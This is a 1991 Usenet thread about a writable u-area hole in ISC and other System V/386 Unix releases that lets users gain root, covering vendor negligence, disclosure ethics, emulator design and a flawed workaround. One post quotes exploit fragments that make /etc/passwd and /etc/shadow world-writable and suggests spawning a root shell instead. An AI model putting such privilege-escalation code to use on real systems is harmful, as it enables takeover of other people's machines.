According to mburg@unix386.Convergent.COM (Mike Burg): >In article <27B93F44.5606@tct.uucp>, chip@tct.uucp (Chip Salzenberg) writes: >> It is good to see that SCO's engineers, unlike those at ISC and >> Everex, have an effective grasp on the basic principles of memory >> protection covered in the first semester of OS design class. > >From a view of a person who has work for various Unix system houses - >you can't really blame ISC, ESIX, or any other vendors that current has >the bug in it's release. I think the blame should be placed on AT&T. There is plenty of blame to go around. AT&T, ISC and Everex all deserve big, fat rasberries. >ON THE OTHER HAND, since you are buying a product from the vendors, you'd >*EXPECT THEM* to sell you a stable product. Exactly. I don't think ISC and Everex have any right to expect empathy (not that they're asking for it). They took money, they delivered *seriously* defective goods, and they didn't fix the defects until a public outcry arose on the Usenet. Bleh. >Face it folks, all versions of Unix for the PC have problems of some kind. >(Just a matter of what size the explosion will be when it goes off in your >face.) I don't think it's the bug that's the real problem. It's the attitude displayed by ISC and Everex when the bug was reported six months ago: "Let's keep it quiet; maybe no one will find out!" Then a Usenet article breaks through their veil of silence, and presto! free fixes for everyone. Where were they six months ago? -- Chip Salzenberg at Teltronics/TCT <chip@tct.uucp>, <uunet!pdn!tct!chip> "I want to mention that my opinions whether real or not are MY opinions." -- the inevitable William "Billy" Steinmetz
sef@kithrup.COM (Sean Eric Fagan) (02/17/91)
In article <54663@bigtex.cactus.org> james@bigtex.cactus.org (James Van Artsdalen) writes: >Key point: some reports say that the 387 emulation actually crashes in >systems if the u block is protected. I don't know if the source to >the emulator is in the "source" package one receives from AT&T. >Fixing the bug might be non-trivial if it is in the emulator, and you >don't have source for the emulator. Once again: the '387 emulator runs in ring three (just as your process does) for speed reasons. (Take a look at the costs to go from ring three to any lower ring sometime; it's disgusting.) Since it runs in the same ring as your process, it looks just like it is part of your process (i.e., if you're using the emulator, you seem to have a multi-segment process). Since it needs to keep the fp registers somewhere, and they are very much process-related, the "proper" place to keep them is in the u area, just like other registers. Since the emulator needs to be able to write to the registers in the u area, your process can *also* write to the registers in the u area. Since the registers are in the same page as, oh, the uid, in some versions of 3.2 (ISC and ESIX seem to be the major ones), and since writability is on a page-level basis (not a byte-level or word-level basis), everything in that page, including, oh, the uid, is writable. The bug is not in the emulator, and having sources won't fix the problem. The "bug" is in the entire way it's set up, and, to fix it, you need to rearrange lots of things. (Well, actually, just move some things around.) Again, just my $0.03... -- Sean Eric Fagan | "I made the universe, but please don't blame me for it; sef@kithrup.COM | I had a bellyache at the time." -----------------+ -- The Turtle (Stephen King, _It_) Any opinions expressed are my own, and generally unpopular with others.
paul@actrix.gen.nz (Paul Gillingwater) (02/17/91)
In article <goBeX10w163w@aegis.or.jp> davidg@aegis.UUCP (Dave McLane) writes: > As a sample of how "fast" ISC responds, I have been trying for a > month to get them to send me a replacement for the disk that was > supposed to update my $2149 Architech Developer to Multi-User. The > disk got an Uncorrectable data read error, not doubt because the Hah! That's NOTHING! We bought ISC 2.02, with TCP/IP and other goodies in November 1989. When it arrived, some of the disks that formed part of VP/ix, TCP/IP and the Text Processing system had unrecoverable read errors. We shipped the disks back to the dealer, who confirmed that they were unreadable. Guess what -- the Australian agent for ISC (who shall remain nameless, as they're hopeless!) still haven't replaced them after over a year! > New, but related subject: when ISC fires up after the login it puts > this really grotesque series of lines about copyrights and such > which I would like to get rid of. Anybody know if this is possible? Yup. I used emacs to edit the login binary, just place a null byte at the start of the messages you wish to lose. Works just fine. -- Paul Gillingwater, paul@actrix.gen.nz
rfarris@rfengr.com (Rick Farris) (02/17/91)
In article <1991Feb15.134715.16979@virtech.uucp> cpcahil@virtech.uucp (Conor P. Cahill) writes: | 2. I wholeheartly DISAGREE with you posting the source code which | performs the security bypass. You could have just posted the | uuencoded binary which would have been enough to prove your point | without making it extremely easy for any two bit user to obtain | privileged access. | POSTING THE CODE WAS DEAD WRONG. Personally, I would never, ever, EVER run a binary that had come across on the net. No matter what the accompanying text said it did, and especially if I thought it might mess with permissions. Suppose that in addition to creating a root shell, it did something else nasty? -- Rick Farris RF Engineering POB M Del Mar, CA 92014 voice (619) 259-6793 rfarris@rfengr.com ...!ucsd!serene!rfarris serenity bbs 259-7757
bill@unixland.uucp (Bill Heiser) (02/17/91)
In article <27BDA7B8.1DD8@tct.uucp> chip@tct.uucp (Chip Salzenberg) writes: > >I don't think ISC and Everex have any right to expect empathy (not >that they're asking for it). They took money, they delivered >*seriously* defective goods, and they didn't fix the defects until a >public outcry arose [...] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ And they still haven't ... -- home: ...!{uunet,bloom-beacon,esegue}!world!unixland!bill bill@unixland.uucp The Think_Tank BBS & Public Access Unix 508-655-3848 (2400) 508-651-8723 (9600-HST) 508-651-8733 (9600-PEP-V32) other: heiser@world.std.com
it1@ra.MsState.Edu (Tim Tsai) (02/17/91)
In <1991Feb16.162814.13117@unixland.uucp> bill@unixland.uucp (Bill Heiser) writes: >In article <kBTHX1w163w@aegis.or.jp> davidg@aegis.UUCP (Dave McLane) writes: >>edit binary stuff but fortunately I'm running VPIX and am a long >>time user of SYMDEB.EXE which worked fine. >This is a good question (for those of us who don't know) -- how does >one edit binaries in Unix? Is there a utility like Norton out there >(yes, I know Norton is available for ISC, but I'm running Esix). Check out fm, a curses based binary editor for Unix. It's available in comp.sources.misc, volume12. -- Sometimes I think the surest sign that intelligent life exists elsewhere in the universe is that none of it has tried to contact us. <Calvin>
hsch@influx.sub.org (Heinrich Schnermann) (02/17/91)
lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: >/* If you use Interactive Unix 2.2 uncomment the following line */ >/* #define ISC22 */ [15 lines of includes, ifdefs and defines follow] What do you think about a shorter version like this? #include <sys/types.h> #include <sys/signal.h> #include <sys/dir.h> #include <sys/user.h> Runs on Interactive 2.02 *and* 2.2. > chmod ("/etc/passwd",(int) 0666); > chmod ("/etc/shadow",(int) 0666); Not very nice, even in Lumpi's compiled version. A little system("/bin/sh"); instead of chmod wouldn't change anything and would be quite more easy to handle. Heinrich -- Heinrich Schnermann, Wichmannstr.26, 3000 Hannover 81, +49 511 835 603
src@scuzzy.in-berlin.de (Heiko Blume) (02/18/91)
src@scuzzy.in-berlin.de (Heiko Blume) writes: >sef@kithrup.COM (Sean Eric Fagan) writes: >>In article <1991Feb13.221259.1462@scuzzy.in-berlin.de> i made a typo: >>>not exactly, for public access to my source archive i've set up >>>a chroot() user that can't write anywhere, unhackable :-) > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ >>Sorry, that's not the case. Once you've got root access, .... >once you've got root access, yes, but you can get root access. ^^^ i wanted to write "CAN'T", of course... -- Heiko Blume <-+-> src@scuzzy.in-berlin.de <-+-> (+49 30) 691 88 93 public source archive [HST V.42bis]: scuzzy Any ACU,f 38400 6919520 gin:--gin: nuucp sword: nuucp uucp scuzzy!/src/README /your/home
pcg@cs.aber.ac.uk (Piercarlo Grandi) (02/18/91)
On 16 Feb 91 21:48:24 GMT, sef@kithrup.COM (Sean Eric Fagan) said: sef> Once again: the '387 emulator [ ... ] needs to keep the fp sef> registers somewhere, and they are very much process-related, the sef> "proper" place to keep them is in the u area, just like other sef> registers. In my profound naivety :-) I'd have put them at the top of the user stack, in the user portion of the address space. The last place in the world where I'd have put them would be in the u-area. This may need some small difference in actions between the case where you actually have a 387 (then the kernel saves the state of the 387 in *its* data segment, the u-area) and the case where you have an emulator (then the emulator, that is in effect a user mode shared library, saves the state of the 387 in the user mode data segment, e.g. the stack). sef> Since the emulator needs to be able to write to the registers in sef> the u area, your process can *also* write to the registers in the u sef> area. [ ... ] sef> The bug is not in the emulator, and having sources won't fix the sef> problem. The "bug" is in the entire way it's set up, and, to fix sef> it, you need to rearrange lots of things. (Well, actually, just sef> move some things around.) The decision of making the u-area writable is so absurd that it cannot be possibly have been just because of sloppiness; this seem confirmed by the decision to keep it like this even after reports that others had found this trapdoor that makes the Unix kernel itself into a trojan horse. Follow the logic: Some honest guy has found the trojan horse trapdoor and reported it to the suppleir and then to the net: how many less honest people have found it and kept it to themselves? If you make a program into a trojan horse, you expect people that find the trapdoor to collude with you and keep it secret, especially when you tell them to hush it, as you hope that they understand that it is not in their self interest to let everybody else know about it. -- Piercarlo Grandi | ARPA: pcg%uk.ac.aber.cs@nsfnet-relay.ac.uk Dept of CS, UCW Aberystwyth | UUCP: ...!mcsun!ukc!aber-cs!pcg Penglais, Aberystwyth SY23 3BZ, UK | INET: pcg@cs.aber.ac.uk
karl@ddsw1.MCS.COM (Karl Denninger) (02/18/91)
In article <1991Feb14.004122.1564@ism.isc.com> martys@ism.isc.com writes: >The recent reports of a security hole in AT&T UNIX System V/386 >Release 3.2, and in the INTERACTIVE UNIX Operating System which >is based upon it, are accurate. Users with a math coprocessor >and INTERACTIVE Version 2.2 or later of the INTERACTIVE UNIX >Operating System should read the INTERACTIVE UNIX System Release >Notes, page 10, first bullet item for the workaround. Flame gun on nuclear holocost setting: Look, folks. You published 2.2 while KNOWING FULL WELL that the problem was there. The release notes even hint that you knew about it in 2.0.2 or before -- certainly before 2.2 came out. Now you've really done it. I hope your company gets sued for gross negligence and you go bankrupt. It is one thing to publish a product with a problem like this. It is another entirely to do so with full knowledge of the hole, the damage it will cause when exploited, and simply not care. That is, generally, the definition of gross negligence. It is akin to selling a person a car with known defective brakes. There is lots of evidence of this "I don't care" attitude -- the fact that the bug was reported to you more than 6 months ago and ignored, and the published description of a "fix" in the release notes for 2.2. Of course what's not in the 2.2 release notes is that if you apply the fix, and don't have a math chip, the system will then not be able to do any floating point math! >For all other users, INTERACTIVE Systems Corp. will provide a >comprehensive fix to the problem. It will be provided as an >update (bug-fix) diskette to users of 386/ix Version 2.0.2, >INTERACTIVE UNIX Version 2.2.1, and the C2 Security Extension. >For Version 2.2 users without a math coprocessor, call into >Warranty support, (213) 453-8649 and ask for the free upgrade >to Version 2.2.1 as well as the 2.2.1 security-hole bug-fix >diskette. As with all INTERACTIVE bug-fix diskettes, it will be >available free of charge through the Support department. Post the fix. If you have any integrity at all. >The anticipated availability date of the bug-fix is February 22nd. > >Marty C. Stewart >Support Team Leader >Interactive Systems Corp. You and your entire crew deserve to be fired. ISC has deliberately done this. The "support team" appears to have deliberately ignored the report of this bug for at least 6 months. It is a >fact< that the problem was known when 2.2 was released. Perhaps Kodak will take this seriously enough to enforce some real discipline from the top level down -- and replace all of you. (flame gun off) -- Karl Denninger (karl@ddsw1.MCS.COM, <well-connected>!ddsw1!karl) Public Access Data Line: [+1 708 808-7300], Voice: [+1 708 808-7200] Macro Computer Solutions, Inc. "Quality Solutions at a Fair Price"
davidsen@sixhub.UUCP (Wm E. Davidsen Jr) (02/18/91)
In article <483@stephsf.stephsf.com> wengland@stephsf.stephsf.com (Bill England) writes: | | The program crashes with a memory falt on SCO ODT 1.0 on a system | with an fpu. As the original posting said, the bug is in the emulator. | I have serious reservations about this kind of post. While as an | system administrator system I want to know, at the same time it | is similar to giving handguns to a bunch of street thugs. It's more like telling the citizens that the thugs have handguns. Secrecy doesn't solve anything, and the poster has apparently tried to interest the vendors in fixing it without success. The crackers pick up on stuff like this and share it, and the vendors don't want to admit they have a problem, so they stonewall. I hope the poster also sent it to Spenser Katt (_PC Week_) and Robert X Cringely (_Info World_) for their gossip columns. They thrive on coverups. -- bill davidsen - davidsen@sixhub.uucp (uunet!crdgw1!sixhub!davidsen) sysop *IX BBS and Public Access UNIX moderator of comp.binaries.ibm.pc and 80386 mailing list "Stupidity, like virtue, is its own reward" -me
davidsen@sixhub.UUCP (Wm E. Davidsen Jr) (02/18/91)
In article <27B93F44.5606@tct.uucp> chip@tct.uucp (Chip Salzenberg) writes: | Forgive me if I react, not by congratulating SCO, but by dropping my | jaw in mind-boggled astonishment that such a huge, gaping, obvious, | you-can-drive-a-truck-through-it security hole was ever released by | ISC or Everex in a beta, much less sold to customers in version after | version after version. I am amazed that the companies didn't fix it instantly and send it by registered express mail to every owner. In today's litigatious climate, I can see a jury finding them negligent. And that goes for every other vendor, although AT&T has an obligation to get the info out to the source licensees as well, I would think. -- bill davidsen - davidsen@sixhub.uucp (uunet!crdgw1!sixhub!davidsen) sysop *IX BBS and Public Access UNIX moderator of comp.binaries.ibm.pc and 80386 mailing list "Stupidity, like virtue, is its own reward" -me
davidsen@sixhub.UUCP (Wm E. Davidsen Jr) (02/18/91)
In article <329@alderan.uucp> chris@alderan.uucp (Christoph Splittgerber) writes: | Oh my god - its really true. (on my ISC 2.0.2 *with* co-proc.) Here's a though for you, since the bug is in the emulator, and you have a coprocessor, could it be that the system isn't seeing the coproc, and that when you find out why, not only will the bug go away, but the system should be a tad faster, too. -- bill davidsen - davidsen@sixhub.uucp (uunet!crdgw1!sixhub!davidsen) sysop *IX BBS and Public Access UNIX moderator of comp.binaries.ibm.pc and 80386 mailing list "Stupidity, like virtue, is its own reward" -me
davidsen@sixhub.UUCP (Wm E. Davidsen Jr) (02/18/91)
In article <11450@uhccux.uhcc.Hawaii.Edu> bekesy@uhccux.uhcc.Hawaii.Edu (Bekesey Lab) writes: | >Get SCO. [...] | | Please keep your mindless SCO chauvinism to yourself. Since the choice is to either get a coprocessor or a more responsive vendor, I don't think the it was mindless, nor particularly chauvanistic. If you were as quick to give SCO credit as blame, then you would be less offended by this. -- bill davidsen - davidsen@sixhub.uucp (uunet!crdgw1!sixhub!davidsen) sysop *IX BBS and Public Access UNIX moderator of comp.binaries.ibm.pc and 80386 mailing list "Stupidity, like virtue, is its own reward" -me
sef@sco.com (Sean Eric Fagan) (02/18/91)
In article <PCG.91Feb16210231@teachk.cs.aber.ac.uk> pcg@cs.aber.ac.uk (Piercarlo Grandi) writes: >AT&T say (informally, in this newsgroup) that they corrected it in >3.2.1, and sent the corrections in its update tape to its licensees. SCO >and and Dell installed the corrections. Probably ISC and the others have >now decided to just put those corrections in. (Relating to a previous message thread, the observant will undoubtedly notice that the From: line says 'sef@sco.com'; this is posted as an SCO employee, as it might be read as a plug. It's not, not really, but, well, you get the idea. 8-)) I don't know about Dell, but SCO fixed this, on our own, before AT&T sent out 3.2.1. Anyone who was a beta-site for SCO's 3.2.0 had a kernel that did not have this "feature"; I'm too fuzzy about the dates to be more precise than that (for example, it's quite probably that we actually shipped 3.2.0 [non beta, that is] before AT&T sent out 3.2.1, but I'm not sure about that). Given the technical expertise people have attributed to those at Dell, I would not be surprised if they did the same thing. However, I have absolutely no experience with them or their product, so it's only conjecture. -- Sean Eric Fagan | "I made the universe, but please don't blame me for it; sef@kithrup.COM | I had a bellyache at the time." -----------------+ -- The Turtle (Stephen King, _It_) Any opinions expressed are my own, and generally unpopular with others.
davidsen@sixhub.UUCP (Wm E. Davidsen Jr) (02/18/91)
In article <1991Feb15.134715.16979@virtech.uucp> cpcahil@virtech.uucp (Conor P. Cahill) writes: | 2. I wholeheartly DISAGREE with you posting the source code which | performs the security bypass. You could have just posted the | uuencoded binary which would have been enough to prove your point | without making it extremely easy for any two bit user to obtain | privileged access. How is the uuencoded binary less dangerous than the source? Once you can write the passwd and shadow files you can either make your login root, change the root passwd, create a new root userid, etc. I don't see in this case what would have been gained by giving the hacker a way to do it and not telling him how. -- bill davidsen - davidsen@sixhub.uucp (uunet!crdgw1!sixhub!davidsen) sysop *IX BBS and Public Access UNIX moderator of comp.binaries.ibm.pc and 80386 mailing list "Stupidity, like virtue, is its own reward" -me
sef@kithrup.COM (Sean Eric Fagan) (02/18/91)
In article <3215@sixhub.UUCP> davidsen@sixhub.UUCP (bill davidsen) writes: > Here's a though for you, since the bug is in the emulator, and you >have a coprocessor, could it be that the system isn't seeing the coproc, >and that when you find out why, not only will the bug go away, but the >system should be a tad faster, too. Bill, the bug is *not* in the emulator. It's in the way the entire system (kernel and emulator) were designed. I posted a longish article going into this in a bit of detail. The upshot is that no ISC system before 2.2 can be configured to "fix" it, and no ISC 2.2 system can be configured to fix it if the machine does not have an FPU (note that 486s have an FPU, so they're "safe," after being configured properly). -- Sean Eric Fagan | "I made the universe, but please don't blame me for it; sef@kithrup.COM | I had a bellyache at the time." -----------------+ -- The Turtle (Stephen King, _It_) Any opinions expressed are my own, and generally unpopular with others.
pax@megasys.com (Garry M. Paxinos) (02/18/91)
In article <1991Feb18.004416.12447@ddsw1.MCS.COM> karl@ddsw1.MCS.COM (Karl Denninger) writes: Flame gun on nuclear holocost setting: Look, folks. You published 2.2 while KNOWING FULL WELL that the problem was there. The release notes even hint that you knew about it in 2.0.2 or before -- certainly before 2.2 came out. And obviously they knew about it when the 2.2.1 update came out... Now you've really done it. I hope your company gets sued for gross negligence and you go bankrupt. I am absolutely positive it (legal action) is being looked into... It is one thing to publish a product with a problem like this. It is another entirely to do so with full knowledge of the hole, the damage it will cause when exploited, and simply not care. That is, generally, the definition of gross negligence. It is akin to selling a person a car with known defective brakes. Agreed. There is lots of evidence of this "I don't care" attitude -- the fact that the bug was reported to you more than 6 months ago and ignored, and the published description of a "fix" in the release notes for 2.2. Of course what's not in the 2.2 release notes is that if you apply the fix, and don't have a math chip, the system will then not be able to do any floating point math! Not to beat a dead horse, but the fact that 2.2.1 did not address the 'feature' proves the above sentiment beyond all shadow of a doubt. [...] >The anticipated availability date of the bug-fix is February 22nd. > >Marty C. Stewart >Support Team Leader >Interactive Systems Corp. You and your entire crew deserve to be fired. ISC has deliberately done this. The "support team" appears to have deliberately ignored the report of this bug for at least 6 months. It is a >fact< that the problem was known when 2.2 was released. And in 2.2.1, there simply is NO excuse. Zero, None, NADA! Get my drift.. Let's look at this, 2.2 came out around May 90 (right?), 2.2.1 came out in early Dec 90, it's now mid Feb 91 ... hmmm.. almost a year... and still no fix... When did ISC get AT&T's 3.2.1 which apparently included the fix? Perhaps Kodak will take this seriously enough to enforce some real discipline from the top level down -- and replace all of you. I certainly hope so... (flame gun off) Ahh, in this case, leave the flame thrower on... they deserve it! pax -- E-Mail:pax@megasys.com pax@ankh.ftl.fl.us gmp@pinet.aip.org USNail:Megasystems, Inc. 2055 South Congress Ave, Delray Beach, FL 33445 UUCP :{gatech!uflorida!novavax!ankh, mthvax, shark, attmail}!megasys!pax Voice :407-243-2405 Data: 407-243-2407 Fax: 407-243-2408 Telex: 156281499 "This is America, Right?!?!?" member of 2 Live Crew
pax@megasys.com (Garry M. Paxinos) (02/18/91)
In article <PCG.91Feb16210231@teachk.cs.aber.ac.uk> pcg@cs.aber.ac.uk (Piercarlo Grandi) writes: On 15 Feb 91 12:25:34 GMT, pax@megasys.com (Garry M. Paxinos) said: pax> In article <6027@unix386.Convergent.COM> pax> mburg@unix386.Convergent.COM (Mike Burg) writes: mburg> From a view of a person who has work for various Unix system mburg> houses - you can't really blame ISC, ESIX, or any other vendors mburg> that current has the bug in it's release. [...] Now think of this: there are literally dozens (if not hundreds!) of thousands of 386 system with this trojan horse sold and installed in civilian and military Government offices, many installed under the premise that C2 security was what the Government needed for better protecting sensitive (but not classified, thank goodness) data. All these systems will not be updated overnight; most will keep the trojan horse for their entire useful life. Not to mention the systems at Nuclear Power Plants running critical monitoring functions. One thing, I can assure you the 'trojan horse' will not remain in the systems that my company has installed. pax> I agree completely on the above, with systems as complex as a full pax> Unix operating system it is quite likely that some things will slip pax> thru. This is simply unbelievable. It did not slip thru; all we have read points out that all vendors knew it was there, and left it in by way of a conscious decision. All vendors except AT&T, SCO and Dell, that is. Just to make sure we are on the same wavelength, I was merely saying I can understand that some things will slip thru. However, I was definetly not refering to the security bug. There is simply no excuse to not fix a problem like this as soon as you know about it. And this isn't even a case of something slipping thru the cracks as it is documented in their release notes. And they still didn't fix it when an update came out SEVEN months later! pax> [ ... ] Unfortunately, as they seem to be able to come up with a pax> fix by next Friday (the 22nd), the later appears to be the case... AT&T say (informally, in this newsgroup) that they corrected it in 3.2.1, and sent the corrections in its update tape to its licensees. SCO and and Dell installed the corrections. Probably ISC and the others have now decided to just put those corrections in. I really have to wonder what their motivation was to wait this long... Did they really want to put themselves in to a litigaous (sp?) situation? Incidentally, note that Dell's 3.2 product is a derivative of ISC's, yet Dell's does not have the trojan horse and ISC has it. ISC and many others boasts of the stringent and very expensive QA process they run on their products, the same process that took two years after a public fix had been posted to these screens to find the inode bug (and some other System V vendors still haven't discovered it!). The inode bug is simply amazing as fixes have been posted here.. But then again, ISC received corrected code from AT&T and didn't put that in either.. IMNHO it is some system vendors (and ISC are bettert han most!) who are the worst hackers; apart from engaging in mass denial of service attacks on their customers called 'releases' :-), which usually cost much more lost time than the Internet Worm, they put (or leave) trojan horses in their systems, including those advertised as C2 more "secure" and sold to the Government as such. If you want to read something really hair raising about the potential for vendor hackery, read Ritchie's musing on what can be done with virusing 'cc' in his Turing award lecture in CACM. Offhand, do you know which issue? The military have independent source verification teams and other very expensive ways of protecting themselves against supplier hackery; we only have the GPL :-). Finally, it is easy to think that if the author of this incident were a graduate student or a random chap somewhere he would by now probably have been arrested by the Secret Service, his machines impounded, and would be facing the probability of years in prison, and certain ruin. Think of this, and get information about the EFF. It would be poetic justice for ISC to have their machines impounded... <sigh> pax -- E-Mail:pax@megasys.com pax@ankh.ftl.fl.us gmp@pinet.aip.org USNail:Megasystems, Inc. 2055 South Congress Ave, Delray Beach, FL 33445 UUCP :{gatech!uflorida!novavax!ankh, mthvax, shark, attmail}!megasys!pax Voice :407-243-2405 Data: 407-243-2407 Fax: 407-243-2408 Telex: 156281499 "This is America, Right?!?!?" member of 2 Live Crew
cpcahil@virtech.uucp (Conor P. Cahill) (02/18/91)
jdeitch@jadpc.cts.com (Jim Deitch) writes: >One quick question though, > I tried to fix the problem temporarily by setting UAREARW to 0 as >was posted. I rebult the kernel and all was well, until cnews tried >to run. I got a core dump from sendbatches. Also the dfspace utility This is because when you set UAREAW to 0 the floating point emulator won't work. If you don't have a floating poing co-processor, any floating point operations will cause a core dump. -- Conor P. Cahill (703)430-9247 Virtual Technologies, Inc. uunet!virtech!cpcahil 46030 Manekin Plaza, Suite 160 Sterling, VA 22170
cpcahil@virtech.uucp (Conor P. Cahill) (02/18/91)
davidsen@sixhub.UUCP (Wm E. Davidsen Jr) writes: > How is the uuencoded binary less dangerous than the source? Once you >can write the passwd and shadow files you can either make your login >root, change the root passwd, create a new root userid, etc. THE uunencoded binary is not less dangerous. I meant "a uuencoded binary that proves that root access was obtained without damaging the security of the system". -- Conor P. Cahill (703)430-9247 Virtual Technologies, Inc. uunet!virtech!cpcahil 46030 Manekin Plaza, Suite 160 Sterling, VA 22170
davidsen@sixhub.UUCP (Wm E. Davidsen Jr) (02/18/91)
In article <1991Feb18.042427.9434@kithrup.COM> sef@kithrup.COM (Sean Eric Fagan) writes: | Bill, the bug is *not* in the emulator. It's in the way the entire system | (kernel and emulator) were designed. I posted a longish article going into | this in a bit of detail. My understanding is that the emulator is keeping the fake registers in the user area, and mapping that into addressable user space. By mapping the fake registers elsewhere, such as the suggestion of high stack, the user area would not be in the user process address space. There's no good reason to store the emulated registers in the user area, just because that's where they go for the hardware registers. Other system services map small sieces of memory, such as shared memory allocation. There's no justification for having the user area mapped when all that's needed is a section of memory large enough to hold the emulated FPU stack and registers. The saved pseudo registers could be in a separate segment, but I don't see any requirement to get then out of user default space, it's just an implementation detail. I willing to be shown that the error lies elsewhere, but that sounds like a pure error in the emulation to me. The fix may require a new emulator which uses another part of memory, but the need for and major kernel changes is not intuitively obvious (to me). The code to attach the emulator is presumably there already, and the code to map the uaer block can just be flat out disabled. Again, I may be missing something, but the solution seems pretty simple. Disable the mapping of the user block into user space, then have the emulator allocate memory, use high stack, or otherwise look in a more sensible place. I'd bet that there's one pointer to the user block structure, and that changing the logic which initializes it would suffice. -- bill davidsen - davidsen@sixhub.uucp (uunet!crdgw1!sixhub!davidsen) sysop *IX BBS and Public Access UNIX moderator of comp.binaries.ibm.pc and 80386 mailing list "Stupidity, like virtue, is its own reward" -me
larry@nstar.rn.com (Larry Snyder) (02/19/91)
jdeitch@jadpc.cts.com (Jim Deitch) writes: > I tried to fix the problem temporarily by setting UAREARW to 0 as >was posted. I rebult the kernel and all was well, until cnews tried >to run. I got a core dump from sendbatches. Also the dfspace utility >would not work. Anyone else seen this? I am running ISC 2.2 w/o a >coprocessor. Do I also have to set UAREAUS to 0 to make this "fix" >work? we had the same problem here on nstar.rn.com with cnews bitching after rebuilding the kernel with the additional fields set in the kernel there is no fix for ISC 2.2 without a co as of this time and those 2 fields are of no value unless you are running with a coprocessor -- Larry Snyder, NSTAR Public Access Unix 219-289-0287 (HST/PEP/V.32/v.42bis) regional UUCP mapping coordinator {larry@nstar.rn.com, ..!uunet!nstar.rn.com!larry}
sef@kithrup.COM (Sean Eric Fagan) (02/19/91)
In article <3227@sixhub.UUCP> davidsen@sixhub.UUCP (bill davidsen) writes: > My understanding is that the emulator is keeping the fake registers >in the user area, and mapping that into addressable user space. Well, in that sense, your understanding is wrong. Actually, it's just limited. Lots of small parts of your posting were wrong; so I think you've just got a wrong picture of the entire thing. First of all, the emulator is only using the registers that the kernel would have saved for context switches; why bother using another 70 bytes? As for using high stack space, keep in mind that the emulator is *not* part of the kernel, it is *not* part of "system services." How do you propose the emulator find out where 'high stack space' is? I believe stack start is dependent on data end, isn't it? And the emulator has no idea what the process' structure looks like. > Again, I may be missing something, but the solution seems pretty >simple. Disable the mapping of the user block into user space, then have >the emulator allocate memory, use high stack, or otherwise look in a >more sensible place. I'd bet that there's one pointer to the user block >structure, and that changing the logic which initializes it would >suffice. Where would you put the user block? It has to go *somewhere*. Where is high stack? Where is data begin? How about code begin? How about data end? Or code end? Or bss end/begin? Tell you what, bill. You can write a new emulator that lives in kernel space. That will make you much happier, I bet. It will also slow down systems without fpus by a considerable margin (the context switch times would go up *enormously*). SCO managed to get it working before their first release; AT&T and Dell managed to get it "fixed" for their second release. All without having to redesign an enormous program written entirely in assembly. Or would you rather that the fpu emulator have more bugs introduced? -- Sean Eric Fagan | "I made the universe, but please don't blame me for it; sef@kithrup.COM | I had a bellyache at the time." -----------------+ -- The Turtle (Stephen King, _It_) Any opinions expressed are my own, and generally unpopular with others.
mattij@tuura.UUCP (Matti Joutkoski) (02/19/91)
chip@tct.uucp (Chip Salzenberg) writes: >I'm sorry, but SCO C2 security is still a botch. Haven't heard about 3.2.2? During installation, you can CHOOSE, do you want to use C2 or NOT! -- --------------------------------------------------------------- Matti Joutkoski, mattij@yj.data.nokia.fi, tel. + 358-0-5673866. ---------------------------------------------------------------
pcg@cs.aber.ac.uk (Piercarlo Grandi) (02/19/91)
On 18 Feb 91 02:04:24 GMT, davidsen@sixhub.UUCP (Wm E. Davidsen Jr) said:
davidsen> In article <27B93F44.5606@tct.uucp> chip@tct.uucp (Chip
davidsen> Salzenberg) writes:
[ .. on the appalling trapdoor in SysV 3.2 that turns the Unix
kernel itself into a trojan horse ... ]
davidsen> I am amazed that the companies didn't fix it instantly and
davidsen> send it by registered express mail to every owner.
And admit that the problem exists? The first thing their attorney will
have told them must have been "don't admit anything". They tried to hush
things initially.
davidsen> In today's litigatious climate, I can see a jury finding them
davidsen> negligent.
Negligent of what? Technically and practically, all these vendors are
just selling you defect free floppies. The usefulness of their contents
are explicitly disclaimed in every possible way. Only an irresponsible
person does not read the warranties, especially when they are so clear
and explicit. You may think that uniform warranty legislation is the
answer, but then this would kill off free sw of any type.
I think that in legal terms, and in practical terms as well, the
perpetrators of this debacle have been perfectly honest -- they *do*
sell you defect free floppies, and if they are not defect free they will
eventually (slowly, apparently :-/) replace them with defect free ones
for a period of up to 90 days. They promise you something, they keep
their promise. Don't take them to task for failing to deliver soemthing
they have never promised, like Unix, or a secure Unix, or a Unix in
which there are no trapdoor.
For all we know there is the in System V shell a secret "becomeroot"
command that allows those "in the know" to become root exploiting the
u-area trapdoor. How do you know there is no such command or option? Do
any of the System V suppliers promise you that there is no such thing?
No, actually they disclaim any representation to this effect.
If *you* think that you are purchasing a Unix product, that's *your*
problem. You are in fact purchasing System V brand defect free floppies,
for over $1,000. Up to you to decide whether a set of defect free
floppies (and a chance, for which you take all responsibility, at
running whatever is recorded on them) is worth $1,000. You are never
misled about what your money is really buying.
Naturally we both know what's the _real_ story, but what is written
above seems to me logically flawless. Much more dangerous
misunderstandings can happen:
I remember a jerk that had complained that the Internet Worm had caused
a downtime of two days on his Unix based network and his organization
could not afford a two day downtime for the whole network. I would have
promoted the jerk to assistant janitor on the spot, because somebody
that cannot afford a two day downtime cannot run software whose warranty
states that in the event of problems *you* are liable to pay damages to
the software's *supplier*.
--
Piercarlo Grandi | ARPA: pcg%uk.ac.aber.cs@nsfnet-relay.ac.uk
Dept of CS, UCW Aberystwyth | UUCP: ...!mcsun!ukc!aber-cs!pcg
Penglais, Aberystwyth SY23 3BZ, UK | INET: pcg@cs.aber.ac.uksteve@nuchat.sccsi.com (Steve Nuchia) (02/19/91)
In <1991Feb16.214824.2790@kithrup.COM> sef@kithrup.COM (Sean Eric Fagan) writes: >any lower ring sometime; it's disgusting.) Since it runs in the same ring >as your process, it looks just like it is part of your process (i.e., if >you're using the emulator, you seem to have a multi-segment process). Since >it needs to keep the fp registers somewhere, and they are very much >process-related, the "proper" place to keep them is in the u area, just like >other registers. Unmitigated bullshit. The decision to have the emulator store its variables in the u-area was simple laziness. The decision to leave it there after it was realized that it was a security hole was *negligent* laziness. The only technical justification for putting them there are 1) so they get initialized at startup without additional code in exec. 2) to avoid having to allocate a chunk of data space and figure out how to address it from the emulator. A third possibility would be a multiprocessor box where a process might migrate between CPUs with and without coprocessors. Or maybe so you can hot-plug the fool things. Having the emulator keep its variables in the same place as the coprocessor does (when the process is asleep) would make these work. None of these are any where near strong enough to make a sane person think for a moment that leaving u writable is justified. Feh. -- Steve Nuchia South Coast Computing Services (713) 964-2462 "Innocence is a splendid thing, only it has the misfortune not to keep very well and to be easily misled." --- Immanuel Kant, Groundwork of the Metaphysic of 